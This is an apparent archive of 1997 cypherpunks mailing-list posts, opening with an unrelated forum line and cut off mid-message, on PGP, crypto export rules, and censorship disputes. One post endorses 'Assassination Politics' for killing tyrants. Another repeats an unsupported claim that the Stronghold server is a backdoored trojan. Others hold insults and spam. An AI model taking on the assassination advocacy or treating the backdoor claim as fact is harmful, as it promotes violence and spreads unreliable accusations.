This is a damn good question.  I do NOT have the "write to a log file" option slected in the misc. tab and it STILL writes a log file.  How DO we disable this?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 00:36:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Mail
Message-ID: <32F1CB6B.6D47@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone know if PGP Mail works well with Netscape?
I remember hearing about some problems, but don't recall seeing
anything indicating they were fixed.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 00:36:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cocksucker
Message-ID: <32F1CBC4.6BB3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


 
 
ckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckercocksuckershit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@rom.dos>
Date: Fri, 31 Jan 1997 02:19:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Karma
Message-ID: <32F1E3E3.7C19@rom.dos>
MIME-Version: 1.0
Content-Type: text/plain


"He who shits on the road, will meet flies upon his return."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 02:23:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <32F1E4FC.929@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 04:59:19 -0800 (PST)
To: webmaster@eff.org
Subject: Supporting JackBoots
Message-ID: <32F2018F.1EDA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Webmaster,
  I would like to know if all of the material on your website is as
suspect as that which concerns John Gilmore.
  The current jackboot censorship of what he has now declared to be
his own private cypherpunks list has marked him as a laughable
hypocrite.
  Is the EFF a joke, as well?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Fri, 31 Jan 1997 03:29:28 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGPMail 4.5 Released!
Message-ID: <3.0.1.32.19970131062916.007577fc@linc.cis.upenn.edu>
MIME-Version: 1.0
Content-Type: text/plain


And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!


At 11:36 PM 1/30/97 -0800, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>PGPMail 4.5 is now available for ordering from PGP Inc.  
>
>If you have Digicash or a credit card, you can order from the home page.  (I
>would not recommend the credit card option though.  The form claims that it
>is encrypted with SSL, but the info will be sent in the clear.  Someone needs
>to have a talk with their web master...  This is not the first security
>problem with their pages.)
>
>In using the betas, I have been pretty impressed.  It works with Eudora
>seamlessly.  (Enough that I did not notice that it had installed itself
>automatically instead of having to do a seperate install as the documentation
>claimed.)  The program beats out any of the plug-ins and front-ends for
>integrating PGP and e-mail that I have seen yet.  And for $29.95 for PGP
>2.6.2 users, well worth the price...
>
>Disclaimer:
>I have no financial stake in PGP Inc, not do I have controling interest in
>the financial affairs of Mr. Zimmerman, liens on the souls of the damned,
>control of the Aluminum Bavariati, eyes as big as my stomach, or the rites to
>reproduce the descriptions of major league baseball games without permission
>of the commisioner of Gotham City.
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>
>iQEVAwUBMvGgneQCP3v30CeZAQH6Twf9HiZQKt7j0SaB+bNRfrZv/zM3/K7F019Y
>BfLE/OipkeWQQQNDm4KNbz36y58lBhZdXPTuJuyPoICrR3ixNbTz1+DVi3We3ARz
>9OspLf74X9hGCw+oJxLTpG2zznBARH6rQ2Bsjh7orvrnvYLlmhjhnEkrShb2BhW6
>WuDSdmBfz7yk9iUFVzK6TAcxDv/gLH/hjS6PoTFtwoPKDp9aca4jPzr9scLUhETo
>66qPdtLF8TYwzc5+G5/m6w7PJTCf/uyba7OyJ0EYqBDKR4AzqTaL4ZPMUQ8gw1DN
>F0O/RhbaJMfRDtTQMNaMjR8tZXtO8fFrnQg9SC0jeoZ0/rhOy+0BnA==
>=0TfD
>-----END PGP SIGNATURE-----
>
>---
>|   If you're not part of the solution, You're part of the precipitate.  |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 31 Jan 1997 03:45:58 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292343.PAA16370@toad.com>
Message-ID: <3.0.1.32.19970131064629.018195c0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:10 AM 1/31/97 -0800, Bill Stewart wrote:
>On this point, the other governments are correct.
>It really _is_ tougher to maintain a nation-state when your
>former subjects can have private conversations with each other
>and with other governments' former subjects......
>And even 56 bits is a start.

You don't have to be nice to nation states you meet on the way up if you're not coming back down.

DCF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 31 Jan 1997 04:27:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: permanent e-mail adress..
Message-ID: <TCPSMTP.17.1.31.7.33.26.2780269260.1494370@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

to get a list of more than 50 permanent e-mail adress services (a la
hotmail) send a _blank_ message to <fwdlist@netdirectories.com>...

Have fun :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuyaBzltEBIEF0MBAQH3kgf9EZUZnjv12RzGstwMbz0+1TnPUyPPM94e
B6xuj1GAiFnabsLsDrc7yq3US+jnkDXz6kp7fCmLgP2m1ULYza8uNLSbYMBoHGJz
SutSmhZrM3U220ZAnNiqVgMCVgma0Tj260bpnktZKWJtE5HhtNEz0VSmj4pusJ2K
jWhc1BMhzYBhekMsxnyFyDsusjrHBumDTYoHG5ehqV2wDHzPUxvv9/4HDjrEaROT
LcMA/J9JoKkDY6yLCjQ4q5/3aq58vBxbGlm7KilbjccffuyJRqWurwAaIBolLIqB
X9mh8De6ubC/E2KfHVii+eXjDgliShQRt+8Fr4EfJeOLJu4qanIZHg==
=1Ulw
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 20:26:48 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Intelligence Update (fwd)
In-Reply-To: <199701310745.XAA07140@toad.com>
Message-ID: <3.0.1.32.19970131082753.006286c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/30/97 -0800, you wrote:
>>Note: According to a recently obtained DOJ surveillance training manual:
>>"The typical range for the 28 ghz devices is six miles, the typical 
>>range of the 2.4 ghz is thirty miles, and the typical range for the 
>>1.7ghz  is 44 miles."

How sure are you about the quality of your sources here?
I'd expect 1.7ghz and above equipment to require line of sight,
and even a range of six miles seems really high for a very low power
device - getting that as "typical" seems pretty unlikely.
Could all of these figures have been 6, 30, and 44 _meters_ instead? :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Jan 1997 08:41:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Georgia court hears testimony in anonymity case, from TNNN
Message-ID: <Pine.GSO.3.95.970131084041.23219L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 31 Jan 1997 08:33:44 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Georgia court hears testimony, future of free speech, from TNNN

The Netly News Network
http://netlynews.com/

Brick By Brick
by Declan McCullagh (declan@well.com)
January 31, 1997
   
   ATLANTA, Ga.-- A federal judge heard testimony yesterday in a landmark
   case challenging a Georgia law that forbids anonymity online.
   
        The ACLU filed the lawsuit -- the first-ever challenge to a state
   Net-censorship statute -- last September on behalf of 14 plaintiffs,
   arguing that the statute is unconstitutional. The law also
   criminalizes the "unauthorized" use of company names online. It is so
   broadly written, the ACLU claims, that America Online screen names
   could be considered illegal.
   
        Yesterday's hearing was designed to educate U.S. District Court
   Judge Marvin Shoob about the Net, in much the same way that lawyers
   educated a three-judge panel that struck down the Communications
   Decency Act in Philadelphia in June 1996. It began with a Georgia Tech
   professor who painstakingly demonstrated how the Internet works. "This
   pointing device in the middle of the screen is the cursor," he said.
   
        The lawsuit is one of many that will shape the future of free
   expression in cyberspace -- and new media. The Georgia challenge seems
   straightforward, but in truth is a key part of the ACLU's strategy to
   cement a foundation of legal precedents that will build on one
   another, brick by statutory brick, and solidify into a framework for
   free speech on the Internet.
   
        The most fierce battlefield, however, will be in state capitols
   and courtrooms like these. More than 20 states already have launched
   various offensives against the Net, but the ACLU is choosing its
   battles carefully. Depending on how Judge Shoob rules, near-perfect
   anonymous speech may, for the first time in history, be completely
   legal -- at least in one federal district. In a move that could derail
   congressional attempts to rehabilitate the CDA if the high court
   strikes it down, the ACLU assailed a New York State law banning sexual
   images that are "harmful to minors." The organization also is planning
   to sue in Virginia, Florida and California, highlighting a different
   legal point in each case.
   
        True, the decisions won't be binding on other courts -- unlike,
   say, a U.S. Supreme Court ruling -- but in such a new area of the law,
   judges will grasp at even district court precedents. "You can't
   underestimate the importance," said ACLU attorney Chris Hansen. "The
   law works through precedent. Each case builds on the one before it."
   
        Key to the strategy is the argument that states can't regulate
   speech on the Internet at all. It's a nuclear bomb of a legal theory,
   which relies on the Constitution's commerce clause and on Supreme
   Court cases that bar states from controlling "commerce that takes
   place wholly outside of the state's borders." The coalition's brief
   offers Usenet newsgroups as an example: "The posting of this message
   in California, therefore, may subject the California author to
   prosecution in Georgia under the Act."
   
        The state countered that local standards should always apply.
   Daniel Formby, Georgia's deputy attorney general, said yesterday: "You
   do not have to enter a state to violate its laws."
   
        Free-speech victories in states such as Georgia would permit
   netizens to bypass the strict controls on television and radio that
   ban the transmission of "indecent" words or images. When the Internet
   starts carrying movies and soaps, the stronger free-speech standards
   of cyberspace will extend to those broadcasts. "We gain stronger First
   Amendment rights for other media when they converge, as the Internet
   absorbs other technologies," said ACLU attorney Ann Beeson.
   
        Sitting quietly in the rear of the Atlanta courtroom throughout
   the hearing was State Rep. Don Parsons, who with the Democratic
   leadership introduced the Georgia law last spring. Parsons insists
   the ACLU's challenge is wrongheaded. Does the law ban anonymous
   speech? "Certainly not! Absolutely not!" he claimed. So what was the
   purpose behind the the law? To prevent fraud, said Parsons.
   
        But that's not what I found. The genesis of the bizarre Georgia
   law lies not in policies as much as in rank statehouse politics.
   
        I went looking for Georgia's Speaker of the House and found him
   in his office. He leaned back in his chair and chewed on a cigar. A
   72-year old Democrat, Thomas Murphy has reigned over the state House
   of Representatives for 24 years from an office studded with stuffed
   rabbits and bobcats and conveniently adjacent to the House floor.
   
        Yesterday, he declined to discuss the measure. "I can't tell you
   anything about it because I don't know anything about it or computers
   or the Internet or anything like that," he said.
   
        But he knows politics, and his enemies, especially Rep. Mitchell
   Kaye, a fellow who fancies himself the Newt Gingrich of the Georgia
   legislature. Like Gingrich, Kaye is a technocratic Republican hailing
   from bluenose Cobb County, and like pre-1994 Gingrich, he sees himself
   as waging guerrilla warfare against a corrupt and entrenched
   Democratic majority. Dem leaders are equally uncomplimentary. "None of
   us likes Mr. Kaye... No manners towards anyone. He tries to cause all
   the confusion he can," Speaker Murphy grumbled.
   
        Indeed, the whole statutory mess began shortly after Kaye created
   his own web site, www.gahouse.com, which he uses to post legislation,
   contact information and some partisan pages for his conservative
   caucus. It proved popular, drawing thousands of visitors a week -- and
   the wrath of lawmakers such as Speaker Murphy, longtime veterans of
   traditional machine politics. It was Kaye's use of the state seal on
   his site -- even with appropriate disclaimers -- that handed Democrats
   a way to muzzle him through the law the ACLU has challenged.
   
        The irony is, of course, that the Georgia Democrats never
   intended to ban all anonymous and pseudonymous discussions. They never
   believed they'd be attacked in court by a team of New York City
   lawyers. But by punishing anyone who "uses any individual name... to
   falsely identify the person" -- even without intent to deceive --
   their law censors not just Mitchell Kaye, but netizens as well.
   
       "The last thing they want is sunshine on this case," said the
   upstart Republican, who joined the suit as one of the plaintiffs.
  "They pass a lot of unconstitutional legislation around here."
   
###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 31 Jan 1997 06:37:56 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701311303.GAA01678@infowest.com>
Message-ID: <199701310839.IAA05412@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199701311303.GAA01678@infowest.com>, on 01/31/97 at 12:58 PM,
   "Attila T. Hun" <attila@primenet.com> said:


>    If Geiger's software works as well as his ongoing comprehension of
>    the problem 90 to 100 character long mail message lines cause, we
>    are all in trouble.

>    mail which might be forwarded, commented a few times, etc. really
>    works best with 72-74 characters maximum per line.

Well considering that we are approaching the 21st Century I think it is a
little silly that one should have to worry about the line length in an
e-mail message. Even the dos based programs from the 80's could handle
wordwraping of displayed text.

<sigh> for the benifit of those misfortunate enough to be still working on
dumb terminals I have disabled my PGP script until I have time to add a
word wrap routine to it.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: One man's Windows are another man's walls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 31 Jan 1997 08:49:37 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: Fighting the cybercensor
Message-ID: <v02140b03af1752cf6b9e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


[big snip]
>If every time someone made a mistake they got
>punished, without the opportunity to understand the error and without the
>opportunity to make corrections, they would be a psychological wreck.

Yes, you have certainly pointed out a property of AP, insofar as teaching
is concerned.  The reality of the physical world is that some mistakes, for
example steping off a cliff, are immediately punished by a fall and
possibly death.  The 'student' may or may not learn for the experience but
other students who are witness most certainly will.

>If every time someone made mistake they got assassinated, not only would no
>one wish to do anything for fear of losing their lives, creating a
>"society" of timid sheep, there probably wouldn't be many people remaining
>to savor the triumph of being superior.

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.

>
>AP is just another form of war.   You can bet that if assassinations
>increased a hundred fold as a result of your method, not only "governments"
>but some very bright people would get together to figure out a defense
>against it, for they also would be "at risk".

I think the reaction of the society as a whole to AP would depend on what
its perceived overall results were.  If assassinations of scum and tyrants
increased a hundred fold it would hardly be noticed on any political radar
screen, except the bullies and tyrants.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 31 Jan 1997 08:50:46 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <v02140b06af175d69e933@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> Its worth noting that the origin of property is theft. In the case of the
>
>    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
>that _my_ property is the result of ME stealing, and hence what I OWN belongs
>to the community IS theft. I work, and as the result of that work something is
>created. That something is MINE to do with as I will. If I choose to sell that
>work for money, that money is mine. If I trade that money for shoes, those
>shoes are mine. THere is no theft involved.

Tell this to the Native Americans.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bigboy@gte.net (Ernie Steefan)
Date: Fri, 31 Jan 1997 06:58:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: [[[   Free Worldwide  Computer Based Business   !   ]]]
Message-ID: <Ready Aim Fire!_1/31/97 9:59:45 AM_bigboy@gte.net>
MIME-Version: 1.0
Content-Type: text/plain



If you have a PC and want to achieve real Financial Independence then you MUST
take a look at our Powerful Computer Based Business.
No matter who you are or where you live, Our Business is Universal.
We distribute software and information all over the world through E-Mail and the
Internet.
Our program called PC-SUPER-MLM is the most simple and powerful MONEY MAKING software in the world!. of course, you don't have to believe me until you see
the actual program.
You can receive a FREE copy of the PC-SUPER-MLM by going to         http://home1.gte.net/bigboy/pc

 
Have a great day !.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@Exabyte.COM>
Date: Fri, 31 Jan 1997 08:46:11 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
In-Reply-To: <199701310337.UAA01985@firewall.Exabyte.COM>
Message-ID: <Pine.SUN.3.95.970131091527.15388A-100000@gedora>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Sean Roach wrote:
> At 11:14 AM 1/29/97 -0700, Michael Paul Johnson wrote:
> >On Tue, 28 Jan 1997, Mark Rosen wrote:
> >
> >> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> >> about "unrestricted FTP sites." My program, Kremlin, is available for
> >
> >You should check the exact text yourself, but the way I read the EAR, you
> >are not "exporting" strong cryptographic software without a license (exept
> >to Canada, which needs no license) if you do things "such as"
> >(1) have the guests to your site acknowledge that the EAR restricts
> >export, (2) have the guests affirm that they can legally get the software
> >(proper citizenship or residency & location), and (3) "check the address
> >of the destination computer to see if it is in the USA" or Canada. The
> >last one, I interpret rather loosely to mean that if the guest's email
> >address domain isn't one commonly used in the USA or Canada, then I deny
> >access. We all know that not all .com addresses are North American, but
> >chances are really good that if the address ends in .ru, then the
> >destination machine is probably not in North America. This is not a
> >perfect way to prevent export, of course, but it is what the regulations
> >say, as I read them. For a pointer to the regulations and to my access
> >request form and crypto site, see http://www.sni.net/~mpj/crypto.htm
> ...
> An easy crack to that would be to request access from a hotmail, or
> similair, account.  This account would show up as being on US soil while the
> account holder would not necessarily be so.  In this way, someone with an
> account ending in your .ru would get through because h[is/er] e-mail request
> originated from inside the U.S.

If that is the only chink in the armor you see, then you aren't looking
very hard. The point of this system is not to prevent exports, but to (1) 
comply with the letter of the law by discouraging export in the specified
manner, (2) to comply with the spirit of the law by reducing the number of
exports of cryptographic software from the USA, while (3) making
publication of strong cryptographic software in North America easy and
safe from legal persecution. Without point (3), the national security of
the USA would be harmed, IMHO, by the fact that proportionally more
dishonest people (the ones the NSA and FBI are quict to draw attention to)
than honest ones (the majority of the people who want to use strong
cryptography to protect their privacy and business interests from the
dishonest folks) would use strong cryptography. 

The only reason I can think of that the U. S. Commander-in-Chief and
President of the United States of America and his staff have determined
that export of strong cryptographic software can harm "national security" 
even when such software already is available outside of the USA, is that
they are really more concerned about the numbers of people that use such
software regularly, and therefore, they want to limit the total bandwidth
of distribution capacity and ease of retrieval of such software. Export
controls can effectively do both, even if they cannot realistically
prevent export.

Think about it. It was a pain to set up the EAR-compliant site that I set
up compared to a simple site for global distribution, and few people would
go through the hassle. Many major information services and ftp sites
simply disallow strong cryptographic software rather than go through the
hassle. Because of this, it is probably true that fewer people find,
download, and use strong cryptographic software.

Until more people set up more strong cryptographic software distribution
sites and write more good, secure, robust, easy-to-use cryptographic
software such that it is about as easy to find and use it as not to, the
Feds win. Their point is proven. Fewer people use strong cryptography than
would otherwise, and some small (but, to them, significant) percentage of
those people who were discouraged from using strong cryptographic software
might have used that software in a criminal activity. Too bad about the
good guys who could have prevented computer crime or worse with the same
technology, huh?

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Fri, 31 Jan 1997 08:46:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Blowfish
Message-ID: <199701311646.JAA01101@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] Maytag's abysmal grammar, 
atrocious spelling and feeble responses clearly 
identify him as a product of the American 
education system.

     /\ \  / /\
    //\\ .. //\\ Timmy C[rook] Maytag
    //\((  ))/\\
    /  < `' >  \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 31 Jan 1997 10:01:47 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: PGPMail 4.5 Released!
In-Reply-To: <3.0.1.32.19970131062916.007577fc@linc.cis.upenn.edu>
Message-ID: <Pine.GSO.3.95.970131095801.24947A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, David Farber wrote:

> And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!

I have not heard anything about the discount for 2.6.3 users.  There is an
upgrade price (about $25) for Viacrypt users.  None of the discount or
upgrade prices are included on their on-line form. (And sales said they
would have to "have someone call me back" this morning when I tried to
order.)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 08:26:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Supporting JackBoots
In-Reply-To: <32F2018F.1EDA@sk.sympatico.ca>
Message-ID: <9LJe2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Webmaster,
>   I would like to know if all of the material on your website is as
> suspect as that which concerns John Gilmore.
>   The current jackboot censorship of what he has now declared to be
> his own private cypherpunks list has marked him as a laughable
> hypocrite.
>   Is the EFF a joke, as well?

Sure EFF is a joke.  It's designed to syphon time and resources from
worthwhile projects and to create fear, uncertainty, and doubt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 08:34:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Disappearing articles?
Message-ID: <1ZJe2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


We already know that Sandy's bot automatically discards submissions from
people he doesn't like, irrespective of contents. In the past the rejected
articles were tossed to the "flames" list.  Now Sandy has gone one step 
further.  The following article criticized the product Sandy is paid to
peddle. It showed up on the 'unedited' list, but Sandy hated its contents
so much that it hasn't made it to EITHER censored or the 'flames' list!

This is the beginning of the censored article:

To: cypherpunks@toad.com
Subject: Security alert!!!
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

(rest snipped to save bandwidth)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Fri, 31 Jan 1997 10:42:04 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Key Security Question
Message-ID: <Pine.3.89.9701311005.A14002-0100000@netcom>
MIME-Version: 1.0
Content-Type: text/plain


My computer went into the shop a few days ago, and I was unable to take 
my PGP keys off it before it went in.  What are the security risks here?  
If the repairman chooses to snoop through the files, what would he be 
able to do with my key pair?  Will I need to revoke the key and make a 
new one, or will I be relatively safe since he doesn't have my 
passphrase?  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 31 Jan 1997 10:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Constitutional Right to Annoy?
Message-ID: <v03010d03af17f0257960@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain


Today's New York Times web page's Cybertimes section has an article
on a new lawsuit that claims a constitutional right to annoy. Among
other things, annoy.com will provide a way to "send anonymous e-mail
messages to public figures."

They're suing the CDA.

http://www.nytimes.com/library/cyber/week/013197annoy.html

(Assuming I retyped it correctly.)

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 31 Jan 1997 02:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: misc. security url
Message-ID: <199701310959.KAA03668@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


forwarded message...
 In> Subject:      Computer Crime and Investigations Center

 In> I have put together a Computer Crime and Investigations Center

 In> URL: http://www.ovnet.com/~dckinder/crime.htm

 In> This page points you to sources of information pertaining to various
 In> issues relevant to Computer Crime and Security.

 In> Topics covered include:

 In> What Problems Can Arise
 In> An Ounce of Prevention...
 In> How it is done
 In> Detecting whether you have a problem
 In> Search and Seizure of Computer Equipment
 In> Is Big Brother Watching You?
 In> The Enigma of Encryption
 In> Viruses
 In> NT Security
 In> What issues are specific to the World Wide Web?
 In> Law Reviews
 In> General Sites

 In> Duncan Kinder
 In> dckinder@ovnet.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yuri Sorkin <sorkin@crl.com>
Date: Fri, 31 Jan 1997 11:22:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RC5-12/32/5 contest solved. Who gets a credit?
Message-ID: <32F24768.1117@crl.com>
MIME-Version: 1.0
Content-Type: text/plain


stewarts@ix.netcom.com
Tue, 28 Jan 1997 21:37:57 -0800 

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch>
wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
---------------------------------------------------------------------------
Huh!? Goldbeg's announce states that he spent about 3.5 hours, i.e. a
solution came not earlier than 12.30 PST, while Caronni got it at 11.55
am PST.

Yuri Sorkin




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 31 Jan 1997 08:45:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Secret" Postal Device stolen
Message-ID: <3.0.16.19970131114410.4507d89e@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

from http://www.herald.com/dade/digdocs/021949.htm

Postal Service offers $25,000 reward for stolen . . . something

By ARNOLD MARKOWITZ Herald Staff Writer 

    U.S. mail carriers carry more than just the U.S. mail.
They carry something else so secret that nobody outside the
Postal Service knows about it -- except four crooks who steal
them from letter carriers on the streets of Miami. There's a
$25,000 reward for tips producing capture and conviction.

...

Comments?
Please direct any replies for the list to me also, as I am
still on Ray's FCPUNX, which I suppose makes this list
double-filtered for me now, if a little delayed. :-)

Typically, I now care what the mystery device is, since the
